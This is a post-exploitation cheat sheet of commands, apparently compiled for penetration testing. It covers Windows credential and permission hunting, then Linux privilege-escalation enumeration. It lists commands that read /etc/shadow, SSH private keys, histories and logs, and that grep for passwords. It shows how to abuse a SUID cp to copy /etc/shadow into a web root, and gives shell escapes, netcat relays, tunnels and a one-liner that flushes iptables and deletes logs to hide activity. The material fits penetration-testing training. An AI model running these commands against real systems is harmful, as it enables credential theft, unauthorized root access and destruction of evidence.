Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

/* Example of web.config with credentials: */
<authentication mode="Forms"> 
    <forms name="login" loginUrl="/admin">
        <credentials passwordFormat = "Clear">
            <user name="Administrator" password="SuperAdminPassword" />
        </credentials>
    </forms>
</authentication>


==Write Permissions==

/* Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing: */
accesschk.exe /accepteula 
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}


Note: Will be continue..../

References:

Linux Privilege Escalation


Linux Enumeration for Escalation Root Access

  === Operating System ===

## What's the distribution type? What version?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release

cat /etc/redhat-release

   

uname -n   // System hostname

hostname // As above

## What's the Kernel version? Is it 64-bit?

cat /proc/version   

uname -a

uname -r  // Kernel release

uname -mrs 

rpm -q kernel 

dmesg | grep Linux

ls /boot | grep vmlinuz-

cat /proc/cpuinfo   // CPU information

  === What can be learnt from the environmental variables? ===

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

  === Is there a printer? ===

lpstat -a

  === Users & Groups: === 

cat /etc/passwd  

cat /etc/group   // List all groups on the system

cat /etc/shadow  // Show user hashes – Privileged command

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts

finger   // Users currently logged in

pinky   // As above

users  // As above

who -a // As above

w   // Who is currently logged in and what they’re doing

last   // Listing of last logged on users

lastlog   // Information on when all users last logged in

lastlog --user root // Information on when the specified user last logged in


  === User & Privilege Information: ===


whoami 

id 

cat /etc/sudoers  // Who’s allowed to do what as root – Privileged command

sudo -l  // Can the current user perform anything as root

cat /etc/passwd | cut -d:    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers


## What has the user is doing? Is there any password in plain text? What have they been editing?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history 

cat ~/.php_history



What user information can be found? 

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root


Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root

ps -ef | grep root



What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/ 


  === Environmental Information: ===


env  // Display environmental variables

set  // As above

echo $PATH  // Path information

history // Displays  command history of current user

cat /etc/profile // Display default system variables


## Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root

ps -ef | grep root



    === What applications are installed? What version are they? Are they currently running? ===

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/ 


    === Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? ===

cat /etc/syslog.conf 

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf 

cat /etc/inetd.conf 

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 


ps aux | grep root  // View services running as root

cat /etc/inetd.conf  // List services managed by inetd

cat /etc/xinetd.conf // As above for xinetd



    === Installed programs === 

dpkg -l Installed packages (Debian)

rpm -qa Installed packages (Red Hat)

sudo -V Sudo version – does an exploit exist?

httpd -v Apache version

apache2 -v As above

apache2ctl (or apachectl) -M List loaded Apache modules

mysql --version Installed MYSQL version details

perl -v Installed Perl version details

java -version Installed Java version details

python --version Installed Python version details

ruby -v Installed Ruby version details

find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)

which %program_name% (i.e. nc, netcat, wget, nmap etc) As above


    === SSH info ? ===

## Can private-key information be found? 

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key



  === Jobs/Tasks: ===


crontab -l -u %username% // Display scheduled jobs for the specified user – Privileged command

ls -la /etc/cron* // Scheduled jobs overview (hourly, daily, monthly etc)

ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null // What can ‘others’ write in /etc/cron* directories

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

ls -alh  /etc/cron.daily

ls -alh  /etc/cron.weekly

ls -alh  /etc/cron.monthly

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root


    === Interesting Files: ===


find /home –name .rhosts -print 2>/dev/null // Find rhost config files

ls -ahlR /root/     // See if you can access other user directories to find interesting files – Privileged command

cat ~/.bash_history // Show the current users’ command history

ls -la ~/._history // Show the current users’ various history files

ls -la ~/.ssh/ Check // for interesting ssh files in the current users’ directory

ls -la /usr/sbin/in.* // Check Configuration of inetd services

find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)

find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)

find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)

ls -la /etc/.conf As above

lsof -i -n  ## List open files (output will depend on account privileges)

lsof -u root  ## lists all open files and processes by user root


## Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other


find /etc/ -readable -type f 2>/dev/null                         # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone 


## Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null        # world-writable folders

find / -perm -222 -type d 2>/dev/null      # world-writable folders

find / -perm -o+w -type d 2>/dev/null    # world-writable folders


find / -perm -o+x -type d 2>/dev/null    # world-executable folders


find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writable & executable folders



## Any "problem" files? Word-writable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writable files

find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


## What sensitive files can be found? 

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/



## Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/

ls -ahlR /home/


## What can be found in /var/ ? 

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd 

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases


## Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/ 

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/ 

ls -alhR /var/www/html/


## Is there anything in the log file(s) (Could help with "Local File Includes"!)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


## Search for specific strings inside a file

file ./somefile   ## file info

strings ./*.txt | grep password

find / -name “*.log” |xargs grep -i pass


grep -l -i pass /var/log/*.log 2>/dev/null

find / -maxdepth 10 -name *.conf -type f | grep -Hn pass; 2>/dev/null // searches for the string 'password' and output the line number

find / -maxdepth 10 -name *etc* -type f | grep -Hn pass; 2>/dev/null  //as above, but in *etc*

grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches

find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word password is located

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla 

hexeditor ./file

objdump -D -M intel ./file

objdump -D -M x86-64 ./file >> dump64.file


cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD 

cat /root/anaconda-ks.cfg


find / -name "network-secret.txt"

locate "network-secret.txt"

 

    === Permissions ===

## What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -u=s -type f 2>/dev/null     #Find FILES that have the sticky bit set. 

find / -perm -1000 -type d 2>/dev/null    # Find DIRECTORIES w/ Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.


find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)


# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null 


## Where can be written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null        # world-writable folders

find / -perm -222 -type d 2>/dev/null      # world-writable folders

find / -perm -o+w -type d 2>/dev/null    # world-writable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writable & executable folders


Any "problem" files? Word-writable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writable files

find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


Example:

## We found cp (copy) in the above list and now we are abusing it:

cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt



Few things to keep in mind:

## (1) at the destination, the file owner will be root but the group will be that of the current user and 

## (2) notice the use of "--no-preserve" this is needed to read out protected files.

## A lot of ways we can abuse this, update the shadow file with a new account, modify sudoers, plant ssh key + modify sshd_config ## + reboot,or cron.hourly.


    == File system ==

df -ah   // all FS info, including pseudo, duplicate, INACCESSIBLE file systems


## Are there any unmounted file-systems?

cat /etc/fstab



    === Networking, Routing & Communications: ===


/sbin/ifconfig -a // List all network interfaces

cat /etc/network/interfaces // As above

cat /etc/sysconfig/network 

arp -a Display ARP communications

route Display route information

cat /etc/resolv.conf Show configured DNS sever addresses

netstat -antp List all TCP sockets and related PIDs (-p Privileged command)

netstat -anup List all UDP sockets and related PIDs (-p Privileged command)

iptables -L List rules – Privileged command

cat /etc/services View port numbers/services mappings



    === What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? ===

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname



    === Common Shell Escape Sequences: ===

## If commands are limited, you break out of the "jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i


:!bash vi, vim

:set shell=/bin/bash:shell vi, vim

!bash man, more, less

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find

awk 'BEGIN {system("/bin/bash")}' awk

--interactive nmap

perl -e 'exec "/bin/bash";' Perl 

 

 

    === What other users & hosts are communicating with the system? ===

lsof -i 

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on


    === Whats cached? IP and/or MAC addresses ===

arp -e

route

/sbin/route -nee

    === Is packet sniffing possible? What can be seen? Listen to live traffic ===

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap

    === Is port forwarding possible? Redirect and interact with traffic from another view ==

# rinetd

http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch


# fpipe

FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7


# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port


# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


## Is tunneling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip] 

proxychains ifconfig


#copy bash to a new subshell

mount an NFS share from a remote server, copy bash from local to remote and execute

cp -p ./bash /mnt/share/newbash

./newbash -p

    === Preparation & Finding Exploit Code ===

## What development tools/languages are installed/supported?

find / -name perl*

find / -name python*

find / -name gcc* 

find / -name cc


## How can files be uploaded?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp* 

find / -name ftp 

#copy files with SSH

scp username@b:/path/to/file /path/to/destination   //while being logged into A

scp /path/to/file username@a:/path/to/destination  //while being logged into B

#compile C with gcc

gcc ./ajaira_exploit.c -o exploit

#clear history, iptables and logs

iptables -F; history -c; find ./ -name “*.log” |xargs rm -f


# Postfix version

postconf -d | grep mail_vers


./Will_be_continue | everything is collected